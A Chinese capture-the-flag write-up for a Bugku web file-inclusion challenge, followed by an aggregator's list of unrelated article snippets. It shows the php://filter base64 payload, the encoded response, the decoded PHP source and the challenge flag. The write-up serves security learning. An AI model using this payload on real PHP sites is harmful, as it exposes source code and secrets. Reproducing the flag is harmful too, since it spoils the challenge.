BUGKU-WEB-文件包含

解题思路

  • 你说啥我就干啥:点击一下试试
  • 你会想到PHP伪协议这方面去嘛,你有这方面的知识储备吗?
  • 看到?file=XXX.php,那不就是典型的文件包含吗?
  • 这里需要用的一个伪协议php://filter:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
    可以使用php://filter获取指定文件源码:
  • ?file=php://filter/resource=xxx.php

 

发现啥也没有显示,这是因为:

通常获取源代码时,伪协议将xxx.php当文件执行,使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示

?file=php://filter/convert.base64-encode/resource=index.php

convert.base64-encode:是一个过滤器,看到encode可以知道这是一个加密的过滤,那自然就有convert.base64-decode,解密了。简单来说就是:对数据流进行编码,通常用来读取文件源码。

这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

这里对资源文件show.php进行加密了,所以显示:

aW5kZXgucGhw

加上==后进行base64解密就可以复现:(index.php)

现内容就是index.php,说明show.php没有隐藏信息。

所以同理,对index.php使用伪协议执行一下:

http://114.67.175.224:15954/?file=php://filter/convert.base64-encode/resource=index.php

可以看到一串很长的东西,但注意最后的==,必须下意识去解密看看:

77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2M2ZjMwYWZiMDJkYmU2YTU5ODMzODZjNWQzZTA0MTJjfQ0KPz4NCjwvaHRtbD4NCg==

<html><title>Bugku-web</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); 
//flag:flag{c6f30afb02dbe6a5983386c5d3e0412c}
?>
</html>

 

可以看到注释有flag了

PS:

参考其他WP发现都使用了一个read=,这是啥?

可以看到,说是这个参数可以不选,在PHP伪协议中,read是一个用于读取文件内容的操作符。它可以与伪协议中的其他操作符结合使用,用于读取文件的特定部分或指定偏移量的内容。

使用read操作符时,你需要指定一个文件路径和一个长度参数。read操作符将返回指定长度的文件内容。

?file=php://filter/read=convert.base64-encode/resource=index.php

    1

稍微解释下这个做法:

    php://filter/ 是一种访问本地文件的协议
    /read=convert.base64-encode/ 表示读取的方式是 base64 编码后
    resource=index.php 表示目标文件为index.php。

问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。
得到Flag

原文链接:https://blog.csdn.net/qq_36292543/article/details/136155292

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3280930.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

SSM学习10:整合MyBatis、MyBatisPlus

SpringBoot整合MyBatis 与创建spring web项目类型&#xff0c;添加上相应依赖 实体类 public class Account {private int id;public int getId() {return id;}public void setId(int id) {this.id id;}public String getName() {return name;}public void setName(String …

Educational Codeforces Round 168 (Rated for Div. 2)(A~D题题解)

A. Strong Password 思路&#xff1a;想要最长的时间&#xff0c;那么肯定就是如果存在前后相同的字母的时候&#xff0c;在中间插入一个不同的字符 &#xff0c;如果不存在前后相同的字符&#xff0c;直接在最后插入一个和原字符串最后一个字符不同的字符 #include <bits/…

Go语言入门进阶语法 | 数据结构 |指针|结构体|数组|切片|Map|方法|接口|错误|io库|泛型

✅作者简介&#xff1a;CSDN内容合伙人、信息安全专业在校大学生&#x1f3c6; &#x1f525;系列专栏 &#xff1a; &#x1f4c3;新人博主 &#xff1a;欢迎点赞收藏关注&#xff0c;会回访&#xff01; &#x1f4ac;舞台再大&#xff0c;你不上台&#xff0c;永远是个观众。…

QGIS 缓冲区交集信息提取

目标 计算出靠近河道的农田数量及位置&#xff0c;具体方法为使用QGIS 中计算出距离线图层&#xff08;代表河道&#xff09;100 米范围内的点&#xff08;代表水田&#xff09;图层中的点。 具体步骤 步骤 1: 创建缓冲区 首先需要基于线图层创建一个缓冲区图层。 打开 QGIS…

JavaScript基础——JavaScript调用的三种方式

JavaScript简介 JavaScript的作用 JavaScript的使用方式 内嵌JS 引入外部js文件 编写函数 JavaScript简介 JavaScript&#xff08;简称“JS”&#xff09;是一种具有函数优先的轻量级&#xff0c;解释型或即时编译型的编程语言。它是Web开发中最常用的脚本语言之一&#x…

软件测试:动态黑盒测试的过程

要成为一个成功的软件测试员&#xff0c;需要采用更结构化的、目标明确的方法继续测试。 本文粗略描述动态黑盒测试的结构化过程 目录 1.动态黑盒测试 拿到需求文档或产品说明书 定义测试用例 test-case 2. 通过性测试和时效性测试 3. 等价类划分 4. 数据测试 边界条件…

【Redis】 拓展:Redis - BigKey方案探讨

BigKey: 用户越多&#xff0c;redis数据越多&#xff0c;bigkey会使得缓存数据更大&#xff0c;网络带宽会被占用&#xff0c;执行效率就低下&#xff0c;高并发的时候吞吐量QPS也会下降。 产生原因&#xff1a; 看如下list&#xff1a; 一个key的内容太大&#xff0c;比如1M&…

【宝藏系列】物联网中常用的十种通信协议

【宝藏系列】物联网中常用的十种通信协议 文章目录 【宝藏系列】物联网中常用的十种通信协议1️⃣MQTT2️⃣CoAP3️⃣AMQP4️⃣XMPP5️⃣LwM2M6️⃣HTTP7️⃣DDS8️⃣Bluetooth Low Energy9️⃣LoRaWAN1️⃣0️⃣NB-IoT 1️⃣MQTT MQTT&#xff08;Message Queuing Telemetry T…

JNDI注入-高版本绕过

参考博客&#xff1a; JNDI注入与动态类加载 探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com) 分析版本 jdk8u201 分析流程 修复 在ldap绕过中&#xff0c;我们讲了LDAP的修复&#xff0c;下面用jdk8u201具体来看下修复。 修复之前&#xff0c;利用是在L…

英文文献翻译方法哪个好?高效率的翻译方法分享

三伏天的酷热也抵挡不住学术人探索知识的脚步&#xff0c;阅读和翻译英文文献几乎已经成为了许多研究者和学者的日常。然而在面对浩如烟海的英文资料时&#xff0c;如何高效准确地进行翻译&#xff0c;成为了亟待解决的问题。 今天我便挖掘到了5款实用的英文文献翻译工具&…

【论文共读】【翻译】【GPT】Improving Language Understanding by Generative Pre-Training

GPT 原论文地址 翻译&#xff1a; Improving Language Understanding by Generative Pre-Training 通过生成式预训练提高语言理解能力 0. 摘要 自然语言理解包括各种不同的任务&#xff0c;例如文本蕴涵、问答、语义相似性评估和文档分类。尽管大量未标记的文本语料库很丰富…

《昇思25天学习打卡营第24天》

接续上一天的学习任务&#xff0c;我们要继续进行下一步的操作 构造网络 当处理完数据后&#xff0c;就可以来进行网络的搭建了。按照DCGAN论文中的描述&#xff0c;所有模型权重均应从mean为0&#xff0c;sigma为0.02的正态分布中随机初始化。 接下来了解一下其他内容 生成…

科普文:万字梳理高性能 Kafka快的8个原因

概叙 科普文&#xff1a;万字详解Kafka基本原理和应用-CSDN博客 科普文&#xff1a;万字梳理31个Kafka问题-CSDN博客 我们都知道 Kafka 是基于磁盘进行存储的&#xff0c;但 Kafka 官方又称其具有高性能、高吞吐、低延时的特点&#xff0c;其吞吐量动辄几十上百万。 在座的…

苹果safari历史记录如何恢复?4大秘籍,重访历史足迹

作为苹果设备上的默认浏览器&#xff0c;Safari为我们提供了便捷、快速的网页浏览体验。但是&#xff0c;如果出现意外删除或其他情况&#xff0c;我们可能会丢失Safari历史记录&#xff0c;这无疑给我们工作和学习带来了诸多不便。本文旨在帮助广大iPhone用户解决这一难题。通…

【音频识别】十大数据集合集,宝藏合集,不容错过!

本文将为您介绍10个经典、热门的数据集&#xff0c;希望对您在选择适合的数据集时有所帮助。 1 RenderMe-360 发布方&#xff1a; 上海人工智能实验室 发布时间&#xff1a; 2023-05-24 简介&#xff1a; RenFace是一个大规模多视角人脸高清视频数据集&#xff0c;包含多样的…

便携移动工作站,端侧 AI 大模型设备折腾笔记:ROG 幻 X 和 4090 扩展坞

为了本地测试和开发更丝滑&#xff0c;最近入手了一套新设备 ROG 幻 X Z13 和 ROG XG Mobile 4090 扩展坞。 基于这套设备&#xff0c;我搭了一套 Windows x WSL2 x CUDA 的开发环境。分享一下折腾记录&#xff0c;或许对有类似需求的你也有帮助。 写在前面 最近因为各种事情…

学习web前端三大件之HTML篇

HTML的全称为超文本标记语言&#xff0c;是一种标记语言。它包括一系列标签&#xff0c;通过这些标签可以将网络上的文档格式统一&#xff0c;使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本&#xff0c;HTML命令可以说明文字&#xff0c;图形…

单链表习题——快慢指针类习题详解!(2)

前言&#xff1a; 正如标题所言&#xff0c;小编今天要讲述快慢指针的相关习题&#xff0c;可能有些读者朋友会有些疑问了&#xff0c;这快慢指针是个什么东西&#xff1f;不要着急&#xff0c;下面紧跟小编的步伐&#xff0c;开启我们今天的快慢指针之旅&#xff01; 目录&…

安全基础学习-CRC理解与计算

由于一些任务要求需要了解CRC校验&#xff0c;于是来学习一下。 新人学习&#xff0c;大佬绕路。 前言 CRC即循环冗余校验码&#xff1a;是数据通信领域中最常用的一种查错校验码&#xff0c;其特征是信息字段和校验字段的长度可以任意选定。循环冗余检查&#xff08;CRC&…

Seata 入门与实战

一、什么是 Seata Seata 是一款开源的分布式事务解决方式&#xff0c;致力于提供高性能和简单易用的分布式事务服务。Seata 为用户提供了 AT、TCC、SAGA 和 XA 事务模式&#xff0c;为用户打造一站式的分布式事务解决方案。 二、Seata 组成 事务协调者&#xff08;Transacti…